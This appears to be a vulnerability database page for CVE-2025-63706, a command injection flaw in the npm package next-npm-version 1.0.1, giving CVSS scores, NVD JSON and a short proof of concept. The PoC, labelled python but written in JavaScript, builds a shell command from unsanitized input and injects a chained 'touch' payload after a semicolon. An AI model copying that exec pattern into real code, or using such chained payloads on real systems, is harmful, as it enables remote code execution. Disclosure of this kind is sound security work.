Security Vulnerability Report
中文
CVE-2025-63706 CVSS 9.8 CRITICAL

CVE-2025-63706

Published: 2026-05-07 15:16:05
Last Modified: 2026-05-08 23:16:34

Description

NPM package next-npm-version1.0.1 is vulnerable to Command injection.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

next-npm-version 1.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-63706: Command Injection in next-npm-version // This demonstrates how unsanitized input leads to RCE. const { exec } = require('child_process'); // Simulating the vulnerable function in next-npm-version 1.0.1 function checkVersion(userInput) { // Vulnerability: Direct interpolation of user input into a command string const command = `npm view ${userInput} version`; console.log(`Executing: ${command}`); exec(command, (error, stdout, stderr) => { if (error) { console.error(`Error: ${error.message}`); return; } if (stderr) { console.error(`Stderr: ${stderr}`); return; } console.log(`Output: ${stdout}`); }); } // Attack Vector: Injecting a shell command to create a proof file // Using a semicolon to chain commands const payload = "1.0.1; touch /tmp/CVE-2025-63706_PWNED; #"; checkVersion(payload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63706", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:04.820", "lastModified": "2026-05-08T23:16:34.450", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NPM package next-npm-version1.0.1 is vulnerable to Command injection."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://gist.github.com/6en6ar/607368f1fc8fe429f03c6e0d9486ba72", "source": "[email protected]"}, {"url": "https://github.com/afeiship/next-npm-version/issues/1", "source": "[email protected]"}, {"url": "https://www.npmjs.com/package/@jswork/next-npm-version", "source": "[email protected]"}]}}